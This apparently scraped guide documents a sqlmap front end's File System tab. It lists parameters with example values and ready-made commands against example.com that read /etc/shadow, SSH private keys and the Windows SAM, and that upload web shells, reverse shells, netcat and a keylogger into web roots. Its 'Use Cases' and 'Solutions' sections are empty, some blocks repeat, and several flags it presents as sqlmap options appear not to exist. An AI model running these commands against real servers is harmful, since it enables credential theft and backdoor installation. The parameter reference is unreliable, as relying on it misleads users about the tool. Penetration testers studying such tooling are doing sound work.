The File System tab controls how SQLmap accesses and manipulates files on the target database server, including reading, writing, uploading, and downloading files.
The File System tab contains four main sections:
Parameter: --file-read=FILE
Description: Read a file from the database server
Examples:
--file-read=/etc/passwd
--file-read=C:\Windows\System32\drivers\etc\hosts
--file-read=/var/www/html/config.php
--file-read=/home/user/.ssh/id_rsa
Use Cases:
Parameter: --file-read=FILE1,FILE2,FILE3
Description: Read multiple files in one command
Examples:
--file-read=/etc/passwd,/etc/shadow
--file-read=config.php,db.php,admin.php
--file-read=.htaccess,.htpasswd
Use Cases:
Parameter: --file-write=LOCAL_FILE --file-dest=REMOTE_PATH
Description: Upload a local file to the server
Examples:
--file-write=/local/shell.php --file-dest=/var/www/html/shell.php
--file-write=C:\local\nc.exe --file-dest=C:\Windows\Temp\nc.exe
--file-write=./webshell.jsp --file-dest=/opt/tomcat/webapps/ROOT/shell.jsp
Use Cases:
Parameter: --file-dest=PATH
Description: Destination path for uploaded files
Examples:
--file-dest=/var/www/html/uploads/
--file-dest=C:\inetpub\wwwroot\
--file-dest=/tmp/
--file-dest=/home/user/public_html/
Use Cases:
Parameter: --file-list=PATH
Description: List contents of a directory
Examples:
--file-list=/var/www/html/
--file-list=C:\Windows\System32\
--file-list=/etc/
--file-list=/home/
Use Cases:
Parameter: --file-list=PATH --recursive
Description: Recursively list directory contents
Behavior: Lists all files and subdirectories
Examples:
--file-list=/var/www/ --recursive
--file-list=C:\Program Files\ --recursive
--file-list=/home/user/ --recursive
Use Cases:
Parameter: --file-read=REMOTE_FILE
Description: Download files from the server to local machine
Behavior: Files are saved to sqlmap output directory
Examples:
--file-read=/var/log/apache2/access.log
--file-read=C:\Windows\System32\config\SAM
--file-read=/etc/mysql/my.cnf
Use Cases:
Parameter: --file-write=LOCAL_FILE --file-dest=REMOTE_DEST
Description: Upload local files to server
Examples:
--file-write=./reverse_shell.php --file-dest=/var/www/html/rs.php
--file-write=C:\tools\netcat.exe --file-dest=C:\Temp\nc.exe
--file-write=./keylogger.py --file-dest=/tmp/keylogger.py
Use Cases:
Parameter: --file-check=FILE
Description: Check if a file exists on the server
Examples:
--file-check=/etc/passwd
--file-check=C:\Windows\System32\cmd.exe
--file-check=/var/www/html/admin.php
Use Cases:
Parameter: --file-size=FILE
Description: Get the size of a file on the server
Examples:
--file-size=/var/log/syslog
--file-size=C:\Windows\System32\ntoskrnl.exe
--file-size=/etc/passwd
Use Cases:
Parameter: --file-perms=FILE
Description: Get file permissions on the server
Examples:
--file-perms=/etc/shadow
--file-perms=C:\Windows\System32\config\
--file-perms=/var/www/html/
Use Cases:
Read File: /etc/passwd
Generated Command:
sqlmap -u "http://example.com/page.php?id=1" --file-read=/etc/passwd
Write Local File: ./shell.php
Destination: /var/www/html/uploads/shell.php
Generated Command:
sqlmap -u "http://example.com/upload.php?id=1" --file-write=./shell.php --file-dest=/var/www/html/uploads/shell.php
List Directory: /var/www/html/
Recursive: ✓ Enabled
Generated Command:
sqlmap -u "http://example.com/browse.php?id=1" --file-list=/var/www/html/ --recursive
Read Multiple Files: /etc/mysql/my.cnf,/var/www/config.php,/home/user/.bashrc
Generated Command:
sqlmap -u "http://example.com/admin.php?id=1" --file-read=/etc/mysql/my.cnf,/var/www/config.php,/home/user/.bashrc
Read File: C:\Windows\System32\drivers\etc\hosts
List Directory: C:\Windows\System32\
Generated Command:
sqlmap -u "http://example.com/win.php?id=1" --file-read=C:\Windows\System32\drivers\etc\hosts --file-list=C:\Windows\System32\
Check File: /root/.ssh/id_rsa
Get Size: /var/log/auth.log
Get Permissions: /etc/shadow
Generated Command:
sqlmap -u "http://example.com/recon.php?id=1" --file-check=/root/.ssh/id_rsa --file-size=/var/log/auth.log --file-perms=/etc/shadow
/path/to/file
C:\path\to\file
or forward slashes C:/path/to/file
/var/www/html/
, /var/www/
, C:\inetpub\wwwroot\
/home/user/
, C:\Users\user\
www-data
, apache
, nobody
/etc/passwd
, /etc/shadow
, SAM files~/.ssh/
Problem: Cannot read files due to permission errors Solutions:
Problem: Cannot write files to the server Solutions:
Problem: Directory listing returns no results Solutions:
Problem: Specified files don’t exist on the server Solutions:
Problem: Large files failing to transfer Solutions:
Problem: File contents display incorrectly Solutions: